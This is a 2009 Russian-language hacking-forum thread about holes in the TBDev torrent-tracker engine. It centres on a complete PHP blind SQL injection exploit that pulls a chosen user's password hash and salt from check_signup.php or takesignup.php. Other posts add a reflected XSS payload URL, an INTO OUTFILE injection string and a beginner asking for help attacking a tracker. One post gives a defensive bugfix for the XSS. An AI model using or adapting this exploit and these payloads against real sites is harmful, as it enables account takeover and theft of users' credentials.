ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

26.04.2009, 13:34
|
|
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме: 95382
Репутация:
29
|
|
Сообщение от Qwazar
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true  Т.е. по сути проверка всегда проходит успешно.
З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. 
 Угу...исправил.
|
|
|

27.04.2009, 01:30
|
|
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме: 95382
Репутация:
29
|
|
Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.
Естественно перед этим происходит проверка на уязвимость обоих методов.
PHP код:
<?
//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114
set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);
function send_xpl($url, $xpl, $type){
global $id;
$u=parse_url($url);
switch($type)
{
case 'takesignup':
$data = "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
$req = "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
break;
case 'check':
$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
break;
}
$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+ users +where+id=$id),$pos,1))$condition,'1',(select+1+un i on+select+2))+--+ @ukrnet.ua";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos), $type)))
return 1;
else
return 0;
}
function isVulnerable($url) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'check')))
{
echo "File check_signup.php absents or not vulnerable.\r\n";
}
else
{
$type = 'check';
}
if(!$type)
{
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'takesignup')))
{
die( "Exploit failed: Target is not vulnerable." );
}
else
{
$type = 'takesignup';
}
}
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
global $type;
$url=$argv[1];
$id=$argv[2];
echo $url.":".$id."\r\n";
isVulnerable($url);
echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";
?>
= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.
Последний раз редактировалось Rostov114; 27.04.2009 в 01:54..
|
|
|

06.05.2009, 01:06
|
|
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме: 95382
Репутация:
29
|
|
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.
|
|
|

06.05.2009, 22:35
|
|
Участник форума
Регистрация: 09.12.2008
Сообщений: 159
Провел на форуме: 2144019
Репутация:
214
|
|
И лучше закрыть эту шнягу
Сообщение от n-sw-bit
BugFix:
файл include/init.php
Заменить
PHP код:
$url = explode('/', $_SERVER['PHP_SELF']);
на
PHP код:
$url = explode('/', $_SERVER['SCRIPT_NAME']);
или на
PHP код:
$url = explode('/', htmlspecialchars_uni($_SERVER['PHP_SELF']));
(c) n-sw-bit
|
|
|

12.05.2009, 19:45
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Сообщение от Rostov114
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.
это ПАССИВНАЯ XSS
|
|
|

30.05.2009, 13:30
|
|
Новичок
Регистрация: 20.11.2008
Сообщений: 10
Провел на форуме: 54375
Репутация:
16
|
|
Сообщение от Rostov114
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
|
|
|

02.06.2009, 01:27
|
|
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме: 95382
Репутация:
29
|
|
Сообщение от злойдядька
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...
|
|
|

08.06.2009, 10:08
|
|
Новичок
Регистрация: 07.06.2009
Сообщений: 6
Провел на форуме: 38034
Репутация:
2
|
|
Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?
Последний раз редактировалось yurets; 08.06.2009 в 10:10..
|
|
|

08.06.2009, 11:22
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

18.06.2009, 23:30
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
вот что то нашел..))))зацени))что то у меня он не прошел
http://127.0.0.1/treker/testip.php?ip=1'
кажется что ето не SQL-inj
P.S.но все равно решил выложить....
P.S.S уже на сонную голову пишу..мб есть такой пост
Код:
if ($_SERVER["REQUEST_METHOD"] == "POST")
$ip = $_POST["ip"];
else
$ip = $_GET["ip"];
if ($ip)
{
$nip = ip2long($ip);
if ($nip == -1)
stderr($tracker_lang['error'], "Bad IP.");
$res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
if (mysql_num_rows($res) == 0)
stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
else
{
$banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
"<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
while ($arr = mysql_fetch_assoc($res))
{
$first = long2ip($arr["first"]);
$last = long2ip($arr["last"]);
$comment = htmlspecialchars($arr["comment"]);
$banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
}
$banstable .= "</table>\n";
stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
}
}
stdhead("Проверка IP");
BpoDE POST
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|